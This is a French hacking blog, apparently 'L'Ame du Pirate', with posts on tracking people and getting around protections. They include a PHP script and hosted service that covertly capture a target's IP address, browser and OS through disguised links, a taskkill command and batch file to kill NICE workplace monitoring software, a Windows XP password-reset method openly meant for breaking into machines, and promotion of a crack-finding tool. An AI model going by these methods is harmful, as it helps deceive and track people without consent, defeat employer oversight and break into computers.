Mr.Robot ?

Qui n'a pas encore vu la nouvelle série : Mr.Robot ?

Synopsis : Elliot est un jeune programmeur anti-social qui souffre d'un trouble du comportement qui le pousse à croire qu'il ne peut rencontrer des gens qu'en les hackant. Il travaille pour une firme spécialisée dans la cyber-sécurité mais un homme connu sous le nom de Mr Robot l'approche un jour pour faire tomber une compagnie surpuissante qui fait partie de celles qu'il doit justement protéger...

La bande d'annonce est ici
http://aji.li/v/U94litUpZuc

Dites moi si vous voulez les liens de téléchargement des épisodes :)

Comment Nettoyez et protégez votre téléphone Facilement et gratuitement

Bonjour les amis,

Suite à la demande de plusieurs lecteurs de mon blog qui n'arrêtent pas de me questionner par rapport  à la protection de leurs samrtphone (téléphones portables) et surtout s'il existe bien des techniques qui aident à la supervision et la protection de ces engins :)

Savez-vous qu'ils existent bien des applications ont accès à vos contacts, votre emplacement, vos messages texte ou même votre numéro de téléphone. Lequel de vos applications peut secrètement composer des numéro surtaxés, d'envoyer ou de lire des messages texte SMS et ceux qui peuvent actuellement lire le contenu de votre carte mémoire?.

Ce que vous cherchez, si j'ai bien compris est une application qui peut: 

• Protéger votre vie privée.
• Arrêter les appels indésirables.
• libérer de la mémoire.
• Accélérer votre téléphone.
• Économie d'énergie de la batterie.
• Parcourir les autorisations.
• Trouver les applications dangereuses.
• Clean & Be Safe.







Je vous ai trouvé une application gratuite qui fera gratuitement le menage pour vous
 
Téléphone Cleaner Pro ® Gratuit est simple à configurer

Installez le gratuitement  

Migration du Site - Regroupement des Lecteurs

Bonjour à vous tous,

Dieu soit loué, j'ai pu récupéré l'intégralité de mes données et j'ai pu changé de serveur.

Je suis entrain de migrer le site vers mon propre serveur, là ou je peux bosser en toute liberté.

J'ai pensé à regrouper mes fidèles lecteurs sur une page facebook pour une communication rapide et facile pour la date du lancement du nouveau site avec un nouveau look.

Je vous invite chers lecteurs à me joindre , nombreux, sur cette page, cliquez sur "j'aime" et attendez de mes nouvelles au cours de cette semaine même.

Allez !! je vous attends sur la page. J'ai pas mal de nouveauté et de cours à vous présenter. En toute légalité :D

Comment créer un SiteWeb Attractif - Conseils de Pro.

Bonjour Tout le monde,

On arrête pas de m'envoyer des emails me demandant des cours sur la création des sites web, depuis l'article que j'avais créé sur les basiques de la connaissance du web...

Même si ce n'est pas en adéquation avec la thématique de notre blog, je vais quand même vous donner quelques formations que j'ai suivi moi même sur la création, l'optimisation d'un site web..

Lisez les, formez vous, et dites moi ce que vous en pensez.

Il y 'avait un petit problème sur la redirection des liens, c'est corrigé,
Merci à  Mr Hassisi Salim de me l'avoir notifié


    Et un autre :

NB: Je rencontre des difficultés judiciaire quant à la rédaction des articles sur la sécurité informatique et le piratage. je suis entrain de migrer toutes mes données sur mon propre serveur que j'installe pour le moment.
Une fois fais, je vous tiendrai au courant, j'ai pas mal de surprises et d'astuces à vous montrer :)

L'Ame du Pirate : la reprise.

Cela fait un bon temps que j'ai arrêté d'écrire sur ce blog suite à des contraintes judiciaires.
Je ne sais vraiment pas si la communauté de lecteurs que j'avais fondée sur ce blog existe encore et y a plus personne qui s’intéresse encore à ce que j'écris.
J'ai vu les statistiques de visite de mon blog et je trouve que y a encore beaucoup de gens qui viennent des moteurs de recherches pour lire mon blog.
Aujourd'hui je vous dis, est ce que vous êtes encore là ?
Est ce que vous souhaitez que je continue à écrire pour vous ? y a eu pas mal d'avance technologique,mais je vous rassure je suis encore au top et j'ai suivi toute l'actualité de la sécurité informatique.
Je souhaite changer l'aspect du blog et sa thématique, est ce que vous avez des propositions ?

J'attends vos retours, et merci de m'avoir fait confiance.

[Vidéo Documentaire] Les nouveaux pirates de l'informatique

Dans cet article je vais essayer de vous donner un peu de la culture des hackers...
Savoir qu'ils sont ces mystérieux gens qui se cachent derrière leurs ordinateurs...
Bons ou mauvais...
Blanc ou noir...

Je vous ai choisi quelques documentaires dont je vous laisse la liberté de commenter.

	Résumé : La cybercriminalité est une nouvelle forme de délinquance, invisible mais redoutable, contre laquelle la police a le plus grand mal à lutter. Olivier, Sylvain et Damien, âgés de 17 à 22 ans, ont un hobby : pénétrer dans des réseaux informatiques de façon illégale. Sans diplôme et sans métier, et en dépit des condamnations qu'ils encourent, ces nouveaux pirates gagnent leur vie en volant des numéros de carte bleue sur Internet, qu'ils revendent ensuite sur des sites spécialisés. A l'université de Cambridge, l'éminent professeur Anderson a mis au point un système qui permet d'utiliser une carte bancaire sans en connaître le code secret. Un documentaire Special Investigation
Acteurs : Genre : Informations, Culture Infos, documentaire Pays : France Année : 2010 Duree : 30 min

A vous de commenter et de donner votre avis...

Rendez-vous dans le prochain article avec une autre vision plus différente de cette culture.

L'Ame du Pirate : Le Retour !

Bonjour tout le monde,
Comme vous l'avez bien évidement remarqué, j'ai essayé de changé le look et le style de mon blog, c'est dans l'optique de commencer un nouvelle aire avec mes chers lecteurs qui n'arrêtent pas de me soutenir jour après jour en lisant leurs commentaires encourageants.

Cela fait un temps vraiment considérable que j'ai pas tracé un seul mot sur mon blog, "J'avais des raisons personnelles qui m'ont bien empêché de suivre jusqu'au bout ce que j'avais commencé".

Aujourd'hui l'informatique a beaucoup changé, et les techniques d'intrusion aussi, la culture du piratage à pris un nouveau sens et une nouvelle forme.

Les articles que j'avais écrits jusqu'à maintenant sont devenus peu obsolètes (pas tous) < j'essaie de les mettre à jour petit à petit> .

Je reprends la rédaction des articles avec un nouveau souffle et une nouvelles vision du monde de la sécurité informatique.

J'attends de votre part un soutien moral et des remarques et suggestions et me décrire vos attentes par rapport à ce que vous attendez de ce blog.

J'espère que mon message de retour soit les bienvenus et je vous revois dans un prochain article.

Script de récuperation de l'adresse ip d'une cible

Je me suis déjà penché comme vous le savez tous sur la manière avec laquelle on peut récupérer l'adresse ip d'une cible à son insu et sans qu'elle le sache.
Je vous ai créé le premier programme avec 2 variables, et ensuite j'ai mis un service de géo-localisation par adresse ip, le problème c'est que ça marche au début mais après mon site hébergeur me désactive le service, car vous l'utilisez et ça génère des réclamations et des restrictions au niveau de mon hébergeur ...
Bon, sans entrer dans les détails et surtout après le bombardement de mail que j'ai reçu de votre part en me disant que "ça marche pas !!!!", je crois que je vais vous donner l'astuce et je metterai le code source à votre disposition et utiliser le comme beau il vous semble (lol, je sais que les fan du php vont dire que le code est facile et que n'importe qui peut le faire, mais je dis que je le donne à ceux qui ne savent même pas c'est quoi le php :-)

Donc pour codifier notre petit script on doit d'abord décortiquer les étapes :
On a besoin de :

1. Une commande qui récupère l'adresse ip de la cible
2. Une commande qui l'envoie par mail
3. Une commande qui rend l'opération invisible aux yeux de la cible qui ne doit pas savoir ce qui se passe.


Ok, ok..
On cherche en php ce qui peut nous aider !

1. La commande qui récupère l'adresse ip ------> $_SERVER['REMOTE_ADDR']
2. La fonction qui génère un envoie de mail -------> mail()
3. Pour l'opération invisible -----> y a pas mal d'astuces, mais on va juste rediriger le client vers une page de notre choix avec la fonction header();

Alors on va essayer de faire le squelette de notre petit script :

$to="aaa@bbb.cc"; // Mettez votre adresse email
mail($to, 'Ip Cible', $_SERVER['REMOTE_ADDR']);
header("Location:http://www.bouzbouz.tz");//Mettez le lien vers la page que votre cible doit voir
?>

C'était juste une idée que vous pouvez développer par la suite..
l'important c'est qu'il faut mettre ces codes là dans un fichier php et l'héberger chez un fournisseur dont la fonction mail() est activée et ensuite donnez le lien à celui ou à celle ;) dont vous allez chopper l'adresse email...

Le fichier complet et téléchargeable >>> ICI <<<
Vous n'aurez qu'à changé l adresse email par la vôtre et c'est bon

Comment Géo-localiser vos Contacts avec leurs adresses ip !

Bonjour les amis, cela fait si longtemps que je vous ai pas écrit un article, oui, certes...
Le problème chers lecteurs c'est que c'est pas que j'ai pas de la matière pour écrire , mais c'est que je dois réfléchir attentivement à un contenu qui cible tout le monde et toute personne ayant un petit bagage technique et informatique...

Je peux bien vous parler des techniques d'intrusion dans les serveurs, comment obtenir des accès SSH, et comment exploiter les failles et les injections sql et ensuite injecter un C99Shell ou autres pour contrôler le serveur, des truc de type NetCat ou comment coder et compiler en perl et c# au cœur du serveur, je peux bien sur vous donner ça, mais...

Comme je l'ai dis dans le premier article, ce blog n'a pas de but de détruire, ce blog n'est pas pour le hack et le piratage ni pour permettre aux gens de fouiller dans la misérable vie des autres, il a un seul et unique but :
Travailler pour un monde sans restrictions.
Pour que l'information soit accessible à tout le monde.
Pour montrer que y a pas un système d'information sans failles.

Voilà, mon blog se situe dans le cadre d'informer les gens simples et leur permettre de surfer, de naviguer et de surpasser les restrictions d'accès à ces informations..

Bref, je termine cette longue introduction, car c'est pas ça l'objet de l'article, mais c'était juste dans le but de répondre aux gens qui me le demandent toujours par mail...

Voilà..
Récemment, et en se basant sur un script que m'a fourni un ami "Fabrice" sur la géo-localisation par adresse ip j'ai pu développer un petit script php qui vous permettra de localiser géographiquement des personnes dont vous connaissez ou vous avez pu récupérer l'adresse ip..
Un script très simple d'utilisation, suffit juste d'entrer l'adresse ip et il vous donnera le pays, la ville et pas mal d'infos...

Voici un test simple :

Saisissez ici une adresse ip (comme test mettez la vôtre ) :
Récupèrerez votre propre adresse ip sur http://myip.rba3.com

Pour le site c'est http://rba3.com/u/geoip.php

Si ce lien ne fonctionne plus, essayez celui donné par notre cher ami dans le commentaire en bas :

http://www.ipgetinfo.com/index.php?lang=f

Bon, pour obtenir l'adresse ip de vos contacts (sur msn ou mirc ou mail ou autres choses) sans qu'ils le sachent, je suis toujours entrain de réfléchir sur la légalité de l'acte , mais bon, je crois que j'ai terminé le programme et je vais le publier prochainement inchallah, maintenant j'ai pas le temps wllah et je suis hyper débordé par le travail et les études ... mais en vous inquitez pas , ça serait dans les prochains cours...

Amusez vous bien !

Le Piratage : Limites légales !

Un anonyme m'a envoyé un mail dans lequel il me parlait des limites légales en rapport avec ce que j'écris et ce que je présente dans mon blog, et quand est ce ça devient légal ce qu'on fait et quand est ce il l'est pas..

Je vais le coller ici (en supprimant ses infos perso)

Bonjour Rba3 et merci pour tous tes conseils dont je fais usage à des fins correctes dans le but de contribuer à nettoyer le net. Si tu veux en savoir plus : [son_email] Je voudrais te suggérer d'ajouter dans tes "trucs" un paragraphe qui s'intitulerait "limite légale". Cette partie expliquerait à partir de quand les actions que tu décris, ou que tu "permets de rendre possible au profane" deviennent illégales. Exemple : Prendre l'adresse IP d'un tiers à son insu est-il légal ? A partir de quand cette action devient illégale ? Certes, tu n'es pas juriste... mais rien ne t'empêche de dire comment tu vois les choses sachant qu'il est de la responsabilité de chacun de s'assurer de son droit. Ceci te dédouannerait des abus qui pourraient être commis par des profanes sous prétexte qu'ils n'étaient pas conscients de leurs actes, vu que tu donnes des outils, des tuyaux, sans dire les limites.

J'ai donné des cours, des astuces, des trucs etc... sur la manière avec laquelle on peut surpasser certaines contraintes techniques imposées par les autres dans l'unique but de défendre aux autres les sources d'informations et de distractions susceptibles de rendre internet accessible à tout le monde.

Le slogan de mon blog était et reste toujours : Pour Un Monde Sans Restrictions...
Toujours, je reçois des mails et des commentaires qui me demandent des trucs comme si j'étais Kiven Mitnick ou celui qui a conçu la matrice, on me demande souvent si je peux pénétrer l'ordinateur de Mr Y ou le Gsm de Mlle X... c'est vraiment ridicule ce qu'on demande, car le but du blog c'est de montrer à quel point les systemes de sécurité ne sont pas fiables à 100% et que les administrateurs réseau ne sont que des gens normaux comme nous, et qu'on peut bien évidement se protéger les fesses sachant comment les autres pourront y accéder...

Si je donne des astuces ou des trucs pour vous, ce n'est pas pour nuire au autres, et je répète :JE NE SUIS EN AUCUN CAS RESPONSABLE DE CE QUE VOUS ALLEZ FAIRE AVEC LES INFORMATIONS QUE JE VOUS FOURNIES et qu'elles sont juste à titre INFORMATIF.

Chopper l'adresse émail de quelqu'un c'est un pas vers l'avant, mais pas au point de me demander après : "Voilà, j'ai l'ip, qu'est ce que je dois faire avec?" ou "SVP, Ma nana me trempe, et je veux la coincer, comment je peux accéder à sa boite ?"

Même si je me permet d'être le dieu d'internet en disant que je peux accéder à n'importe quel pc dans le monde et même activer la webcam sur n'importe quel ordi pour voir ce qui se passe dans les chambres à coucher, avec tous ces pouvoir de Matrix, croyez vous que ça me donnerait il le droit de fouiller dans la vie privée des gens ??? non. Je sais que l'être humain est comme ça, il cherche toujours à savoir ce que cachent les autres, sinon, il se sentira pas bien, mais au moins fait mettre les points sur les "i", on est pas là -Sur l'Ame du Pirate - pour détruire, ou pour nuire à la vie privée des autres, mais on est là pour apprendre à se protéger, à ne pas croire dans la force de la sécurité informatique...

Si je vous donne des tuyaux c'est pas pour les utiliser dans des fins qui profanent l'image de notre blog ou notre propre image personnelle vis à vis soi même ou vis à vis les autres...

Cracker le mot de passe d'une bécane ou d'un réseau sans fil perso ou public, ou même supprimer Nice ou DeepFreeze d'un ordi est une chose, et fouiller dans la vie privée des autres est une chose que j'accepte pas. Parce que la première montre que rien n'est sûre à 100% et que personne ne peut nous défendre les droits de naviguer librement sur internet , mais la 2ème montre clairement combien l'être humain est paranoïaque et maudit de nature...

Je sais qu'il y aurait des gens parmi vous qui vont dire : "Oh putain, qu'est ce qu'il est entrain de raconter??" ou "Pfffff, trop de philo pour rien !" ou même "J'ai cru qu'il allait nous donner le KeyMaster Cracker , uuffffff" , mais au moins il fallait que je vous le dise, comme ça quand je répondrais plus à ceux qui aiment voir ce qui est sous les draps des autres, ils seront pas mécontents si j'affiche pas leurs commentaires..

J'aimerais bien discuter ça avec vous, j'ai d'autres trucs à ajouter dans ce blog, mais parfois je me demande si ça vaut la peine de divulguer certaines informations que les autres peuvent utiliser dans des contextes illégaux ou pas...
Votre avis m'intéresse vraiment..

A lire dans ce sens aussi :
Pirater un Site ou un compte mail : La vérité !!!
Msn Passwd Picker (Pfff !! Quelle connerie !! )


[ Si vous aimez l'article est le programme, n'hésitez pas à vous abonnez à ma liste de diffusion, à fin de recevoir toutes les mise à jour et les nouvelles articles par mail directement !!! ]

Craagle !! Quand trouver un crack devient plus facile que chercher sur Google !!

Chaque jour, je reçois pas mal de demandes en rapport avec les cracks des logiciels ou les sérials number de plusieurs d'autres, et à chaque fois je devais faire une recherche sur le net et sur les serveurs de crack que je connais pour trouver la réponse et l'envoyer à celui qui l'a demandée..
Chose qui m'a , en fait, poussé à aller fouiller internet cherchant s'il y a possibilité de faciliter la recherche des cracks et des sérials à ces gens pour qu'ils puissent trouver l'information eux même...
Même amis en Amérique latine m'ont donné un tuyau que je vous file moi aussi ..

Craagle (un truc comme Google, ils sont bons dans le choix des noms), un petit programme, facile à utiliser, qui cherche le crack /sérial sur une dizaines de serveurs et de sites et vous le rapporte, j'ai fais une petite explication photo, et une autre en vidéo pour vous montrer comment ça fonctionne, surtout qu'il est en espagnol...




Pour la vidéo, j'avais un problème d'entrée audio sur mon ordinateur, c'est pourquoi, j'ai pas pu faire le commentaire vidéo, mais en tout cas, je crois que vous êtres assez intelligents ;) pour la comprendre !!

Télécharger le Ici

D'autres vidéos à propos de Craagle sur :
http://www.rba3.com/vid/tag/craagle

[ Si vous aimez l'article est le programme, n'hésitez pas à vous abonnez à ma liste de diffusion, à fin de recevoir toutes les mise à jour et les nouvelles articles par mail directement !!! ]

Comment Supprimer NICE de vos postes et faire chier le service technique

Hey, les amis...
Je suis de retour...
Je sais que pas mal de personne entre vous sont fâchés contre moi, c'était très claire dans les emails que j'ai reçu, car j'ai cessé d'écrire dans le blog depuis un peu de temps, mais je peux vous confirmer que c'est à cause du boulot qui prend 12h de ma journée et les études qui prennent le 1/4 que je trouve plus le temps pour réfléchir et vous donner un bon contenu.. et parlons de contenu j'aimerais bien préciser que je cherche pas à rédiger et vous donner du n'importe quoi, car les sites de warez et des trojans et le reste , y en a plein sur internet, faut juste faire une recherche sur google ou sur milworm ou les autres sites ... moi ce que je cherche c'est de vous faire comprendre le comment ça marche des choses et vous donner des applicatifs que vous aideront dans la vie pratique,(NetShadow, DeepFreeze, Crack Windows...) des trucs qui touchent pas la vie privée des autres, mais qui vous privent pas aussi de vos droits !!! car mon objectif c'est pas de détruire, mais montrer qu'il y a pas un système de sécurité sans failles :)

Bon, Sur mon lieu de travail (La hotline) , ils ont intégré un système de supervision merdique, qui leur permet de surveiller les agents durant la prise d'appel. en gros, a faire des captures d'écrans sur le session des agents, et ça sert comme justificatif pour BLÂMER.. et licencier les agents..
Je comprend tout à fait le fait que c'est difficile de travailler sans ouvrir une page Web surtout quand votre boulot est agaçant et nécessite un divertissement. mais bon, les supérieurs hiérarchiques oublient souvent qu'ils en avaient besoin eux aussi ;)

Le système est appelé NICE , il est utilisé actuellement sur pas mal de plateforme de hotline partout dans le monde !
"Nice" est un Applicatif de sécurité créé par Nice Systems Ltd.

Les call centers ont pris l'initiative de le mettre sur les Postes pour surveiller les agents durant leurs d'appel.
Nice sert, en gros, a faire des captures d'écrans sur le session des agents (voice et image),

L'exe sur le poste est ScreenAgent.exe (Vous pouvez aller le voir sur le gestionnaire des taches (Ctrl + alt + Suppr -->Onglet Processus)
Impossible de le supprimer car c'est lié au droits admin du poste. En plus, on ne peut pas le supprimer depuis le registre car tout simplement, On ne peut pas :D

Voici une commande toute simple pour effacer Nice de vos Postes sur DOS:

Allez sur l invite de commande (Démarrer --> Exécuter --> cmd )

Taskkill /fi "imagename eq Scr*"

Vous allez devoir répéter cette commande rapidement et plusieurs fois sous une fenêtre Dos jusqu'à avoir le message : Aucune tache en service ne correspond aux critères spécifiés. Là vous saurez que Nice n'est plus sur le Poste (Pour confirmer , veuillez vérifier sur le Gestionnaire des taches est ce qu'il persiste toujours) ... Et pour répéter la commande plusieurs fois, Utiliser la flèche "Haut" sous Dos pour ré-afficher la même commander ... sinon pour ceux qui - comme tjr - veulent le prêt à porter - un petit fichier .bat fera l'affaire :) télécharger et exécuter :) Télécharger le Ici
Et Voila !!! Cette manipulation doit être faite sur les Postes à chaque démarrage ou ouverture de session Windows.

NB : c'est pas réservé aux Centres d'appel, mais sur n'importe quelle plateforme de travail qui utilise ce système pour surveiller les employés en croyant que c'est un système sans faille :)

[ Si vous avez une explication tangible à apporter au service technique ou à vos superieurs quand ils vous poseront la question : "Pourquoi ???" Merci de la partager avec nous , sinon, pas la peine de le faire et être blâmé pour rien :) ]

Comment chopper implicitement l'adresse ip de votre contact !!!

[ Le service est actuellement en maintenance suite à la surchage sur le serveur !!! la fonction mail() que j'utilise pour l'envoi et la récéption des emails est actuellement désactivée par mon hébergeur.. je reviens vers vous dès que je change de serveur .. ] ==> Problème réglé !!!

Bonjour tout le monde, je suis hyper désolé pour le retard , je sais très bien que je suis fautif, mais je vous confirme qu'en fait c'est juste à cause des études et des Exams et en plus le boulot qui me prend presque la majorité de mon temps..
J'ai reçu pas mal de mails, de Sms, et d'autres commentaires (que j'ai pas publié suivant la demande de leurs propriétaires ) qui me demandent pleins de truc et pleins de choses !!! et parfois je ne sais pas comment faire quand quelqu'un m'envoie un sms et me demande de lui apprendre - par sms - comment pirater un site :D...
En tout cas, y'avait des emails envoyés par des gens confirmés dans le domaine de la sécurité informatique qui m'ont poussé à bien réfléchir à ce que j 'écris et de corriger certaines informations et développer certaines lacunes que j'avais par rapport à d'autres trucs !!
Bon, c'était pour moi une période d'apprentissage et d'évolution dans le domaine technique...

Hihi , là j'ai commencé à parler de moi et j'ai oublié pourquoi je vous écrit !!!
Mes amis , je vous ai promis un programme qui pourrait vous permettre de récupérer l'adresse ip de votre contact juste en lui envoyant un lien simple et innocent et qui va lui apparaitre normal surtout quand il aura devant lui un vrai site !!!

Sans entrer dans les détails car j 'ai pas trop le temps pour trop d 'explication, je vous dis juste que j'ai développé un petit script en php/mysql, c'est vraiment basic, mais svp à utilisé avec modération pour ne pas m'embêter avec des réclamations inutiles de mon hébergeur sur l'utilisation de la bande passante etc...

Alors, à la pratique !
Voilà , tout simplement vous allez accéder à ce site :

http://rba3.com/hackip.php?mail=(ici tapez votre adresse mail)

Par exemple , si votre adresse email est bou3azza@tkhawer.com, vous accédez au site :
http://rba3.com/hackip.php?mail=bou3azza@tkhawer.com
Vous aurez une page vide avec une seule ligne ou c'est marqué un lien qui ressemble à ça :
http://rba3.com/to.php?id=xx
xx est un chiffre qui correspond à ton adresse mail..
C'est ce lien que vous allez devoir transmettre à vos correspondants pour récupérer leurs infos (ip, Os, navigateur, ports..) sur l'adresse mail indiquée...

• Pour vous, vous allez juste communiquer l'adresse: http://rba3.com/to.php?id=xx
• Pour lui il a cliquer dessus , et il va tomber sur un vrai site de vidéos que vous pouvez vous même visiter sans risque http://videos.rba3.com/
• Pour vous , vous allez recevoir les infos nécessaires par mail.
• Pour lui il se doutera de rien !!!

NB : Suite à l'usage non modéré du service, il se peut que certains webmails concédèrent le mail contenant les infos comme un spam, donc cherchez le dans les dossiers spam et indésirables !!

Des remarques et des suggestions pour améliorer le services sont les bienvenues !!! car c'est juste un petit script que j'ai créé en 20min !!!
Je reste à votre entière disposition pour tout compliment d'information :D

Pirater un Site ou un compte mail : La vérité !!!

Je reçois prèsque chaque jour des demandes pour écrire des tutos dans lesquels je donne des logiciels pour pirater les

adresse Msn ou pour pirater des sites..
"Comment pirater un site ??!!"
"Svp, je veux bien que tu me donne un logiciel pour pirater un compte msn !!"
Ou des sms sur mon portables de type :
"Comment pirater un site, Merci !!"
"comment pirater une adresse Msn !!"..

Je sais que c'est le genre de questions que la majorité des débutants posent, moi aussi je le posait autrefois à des connaisseurs, je pensais toujours qu'ils voulaient pas partager leurs connaissances avec moi, et ça me gênait trop.. c'est pourquoi j'ai décidé d'écrire ce tuto dans lequel je vais essayer d'éclaircir certains points qui demeurent cachés ou faussés chez la plupart des débutants...

Pirater un site chers amis c'est pas quelque chose de facile ni un cours dans lequel vous allez apprendre l'art du métier.
Personnellement, j'imagine pas une personne qui veut pirater un site alors qu'elle ne sait pas ce que veut dire "HTML" ou "Php" ou c'est quoi une page dynamique et une autre statique, ou qui ne fait pas la différence entre un hébérgement gratuit et un autre payant...

Le piratage d'un site web ne se fait pas avec un petit programme qu'en lui donnant l'adresse du site dans un champ et ensuite en validant sur le button "pirater !" il va nous faire sortir dans un autre champ le mot de passe en clair, et même en admettant que c'est possible, il faut savoir à quel endroit taper ce mot de passe, et comment gérer l'éspace administratif du site piraté...

Ce qu'on voit dans les films c'est différent, ce sont des mecs qui ne travaillement pas avec des ordinateurs de 512Mo en Ram ou meme 1 ou 2Mo en RAM, c'est de la technologie très avancée et ce sont des processeurs très boostés, et des méthodes de déchiffrement basées sur des algorithmes de cryptanalise que même un ingigneur normal en informatique ne peut pas comprendre, ce sont des programmes conçus par le pirate lui même, et la moitié de ce que vous voyez sur télé n'à aucune relation avec la réalité !!!

Enlevez de vos tête l'idée qu'il y a un programme qui peut vous donner le mot de passe d'un site ou d'une adresse msn, certe y a des logiciels de Brute Forcing qui testent toutes les combinaisons possibles, mais ça prendra des siècles avant de trouver un mot de passe tel que "mvk+$d45)à&lmpd598dslko;?=" , en plus les systèmes de sécurité actuels sont devenus de plus en plus dûres à brute-forcer, car après la 3ème tentatives échouée le compte devient temporairement suspendu... Surtout que les mot de passes sont dans 99% des cas cryptés en md5 qui est une fonction de cryptage irréversible !!!

Donc, il faut oublier ce fameux logiciel passe partout...vous ne le trouverez jamais sur le net !!!

Par contre, on peut parler des failles sur les sites web qu'on peut détecter et exploiter à fin de les pirater !!!
Chaque site est créé à l'aide d'un language de programmation web (html, php, asp...) et puisque l'erreur est humaine , il se trouve que parfois les gens mettent des codes non sécurisés sur lesquels on se base pour attaquer le site et récupérer le mot de passe de l'admin, et figurez vous que -comme j'ai dis- ce mot de passe et dans la plupart du temps crypté en md5() et si vous êtes chanceux vous pouvez le cracker avec une chance de 1%, car faut vraiment que le passe soit un peut habituel ou fait partie des nom communs et en plus ceci dépend du dictionnaire de crack utilisé et pleins d'autres critères.. (Je vais vous les expliquer dans les prochains cours inchallah !!)..

Et parfois on trouve des gens qui veulent pirater un site gratuit et hébérgé sur un autre serveur, par exemple , on constate qu'il essaie de chercher le password de www.ifrance.com ou free.fr alors qu'il voulait bien attaquer un sous-domaine xyxy.ifrance.com ou xyxy.free.fr.. et ça c'est impossible...

Donc pour cloturer la partie piratage des sites web, je vous dis et je vous recommande de laisser tomber l'idée de chercher et d'attendre le logiciel qui vous donnera le mot de passe dès que vous cliquez sur "Valider !", la seule manière de faire sautter un site c'est chercher ses failles , ensuite les exploiter (injection sql, XSS, Remote SQL Injection Vulnerability et pleines d'autres méthode..) ça vous permettra parfois de faire des modifications sur le site ou de defaçer son index sans que vous ayez à cnnaitre son mot de passe.. mais pour arriver à ce stade, il faut d'abord que vous ayez des connaissance dans les langages de programmation web(html, php, asp, vbs...) comme ça vous allez comprendre comment les choses marche et comment réussir dans la recherche des failles et bien les exploiter..

Bah, je crois que je vais consacrer les prochains tutos à parler de ça et des techniques utilisées pour chercher les failles sur les sites et les exploiter...

Ceci est pour les sites et pour ceux qui croient qu'il est possible de pirater un site en un seul click !!
Passons au fameux logiciel de piratage des adresses Msn, je vais pas trop parler de ça car je crois que vous m'avez bien compris si bien sur vous avez bien lu ce que j'ai écrit dessus.. par contre je vous pose juste une question qui pourra vous aider à laisser tomber cette fameuse obcession de ce logiciel !!
"Si ce logiciel existe !! pourquoi on s'attaque pas au compte admin directement admin@hotmail.com??" , c'est con ce que les novices croient.
Mettez vous dans la tête que ces fameux logiciels n'existent pas, pour chopper les mots de passe, vous allez devoir maîtriser un peu les techniques du "social engineering" ==> ou comment pousser la victime à te donner malgré elle ce que tu cherches comme information...
Je vais vous en parler inchallah dans les prochains tutos, mais surtout laisser tomber cette obsession malade de ce logiciel qui n'exisent que dans l'esprit des novices et des arnaqueurs !!! commencez par apprendre un peu les base du HTMl et du PHP et de savoir comment on crée les sites web et comment on les hébérge.. je pense que je vais vous chercher si je trouve un peu de temps des cours simple d informatique et des langages de programmation!

Et je reste comme je dis toujours à votre entère disposition pour tout compliment d'information..

Cracker le mot de passe de Windows XP en moins de 5 min

Bonjour tout le monde, je sais que je me suis absenté du terrain pour une très longue durée, y avait des messages et des emails de votre part qui me posaient des questions et d'autres qui demandaient des confirmations par rapport à certaines choses, mais je vous confirme que je répond toujours à vos demandes quand je suis libre et disponible, surtout que c'est la période des examens et que je suis emmerdé avec le nouveau poste que je viens d'avoir, il me faut du temps avant de m'organiser et avoir les choses en claire !!!

Y en a plusieurs qui m'ont demandé une méthode pour pouvoir dépasser la sécurité du mot de passe de windows XP, je crois que j'ai déjà mis ce cours là quelque part, mais je me rappelle que j'ai définit la méthode de Brute forcing que moi même j'aime pas utiliser car ça prend beaucoup de temps, mais maintenant j'ai trouvé une méthode rapide et infaillible pour casser la sécurité de windowsXP en moins de 5min...

Explicitement je dois pas vous montrer cette méthode, mais implicitement je vais me permettre de vous la montrer sous le titre de "Vous avez oublié VOTRE mot de passe win Xp ??? Pas de panique !! voilà la solution !!", et après c'est votre responsabilité ;)

Bon, comme j'ai expliqué dans le premier cours, win XP stock son password dans un fichier .SAM, et ce dernier et inmodifiable et vous ne pouvez pas le supprimer.. donc les génies du piratage ont créé un truc très bon pour surpasser ça, c'est en utilisant un petit programme qui se lance au démarrage pour réinitialiser le mot de passe Admin et vous donner la possibilité de créer un nouveau mot de passe sans pour autant savoir le vrai password ou le taper...

Cet utilitaire s'appelle "ERD Commander", il était conçu pour les réparations de windows, mais nous nous allons l'utiliser pour cracker le passwd xp, il est en version image (.iso), vous allez devoir le graver sur un cd-rom vierge et par la suite l'insérer dans le lecteur de votre pc et redémarrer le via le cd.. Réinitialiser le mot de passe, rebouter et le tour est jouer :)

voilà !!
En fait je vous ai trouvé cette vidéo qui vous montre toute la manipulation à faire en image, et je crois que c'est mieux de 1000 ligne..

Télécharez le ICI

Si vous avez besoin de plus d informations, n'hésitez pas me contacter ou laisser vos commentaires ici pour partager l information !!! car là, j'ai pas le temps, je vous ai écrit ce tuto alors que je suis au boulot juste pour répondre aux gens qui ne cessent de me le demander!! et si je trouve un temps libre je vais essayer de bien l 'expliquer avec des capture d'écran et tout :D

Quand Club-Internet rend le piratage facile en France !!

Qui d'entre vous n'a jamais utilisé une liaison wifi pour se connecter à son modem routeur :ClubBox, N9ufBox, freeBox, LiveBox, ou même un hotspot à l'extérieur...???

Une minorité je crois dont je fais partie :D
Ceux qui ont passé leurs vies à gueuler avec les hotliners pour faire fonctionner cette liaison savent très bien que c'est pas du tout facile de garder un très bon signal pour longtemps...
Comme ils savent aussi qu'ils ont besoin d'un nom de réseau SSID et d'une clé WEP que généralement en 128-bits...et quand on appelle la hotline on doit avoir ces deux paramètres pour rectifier le dysfonctionnement qu'il y est.. sinon, si on 'est novice :D (et c'est le cas pour la plupart des cas qui appellent la hotline) le pauvre hotliner se casse la tête à vouloir nous la montrer sur l'interface du modem ... Pfff
En gros !!
A quoi sert cette clé ???
Généralement l'histoire nous a dit qu'ils sert à sécuriser notre réseau sans fil, j 'ai bien dit "Sécuriser".. car si notre réseau sans fil ne l'est pas on peut avoir des ennuis si quelqu'un de malveillant se branche la dessus, et surtout dans une pays comme la France qui nous harcèle chaque jour en nous défendant ce qui a nommé le téléchargement illégal, LoL, surtout quand on voit leurs guignols entrain de nous faire la démonstration du pauvre crétin qui a osé télécharger -Pour usage personnel- le Titanic et a fait perdre a Warner Bross 1 000 000 millions d'euros, C'est vraiment ridicule !!!
Revenons à nous moutons !!

Mes pauvres recherches sur internet et dans le domaine de la cryptographie m'ont ramené à conclure que la sécurité wifi ici en France est vraiment nul..
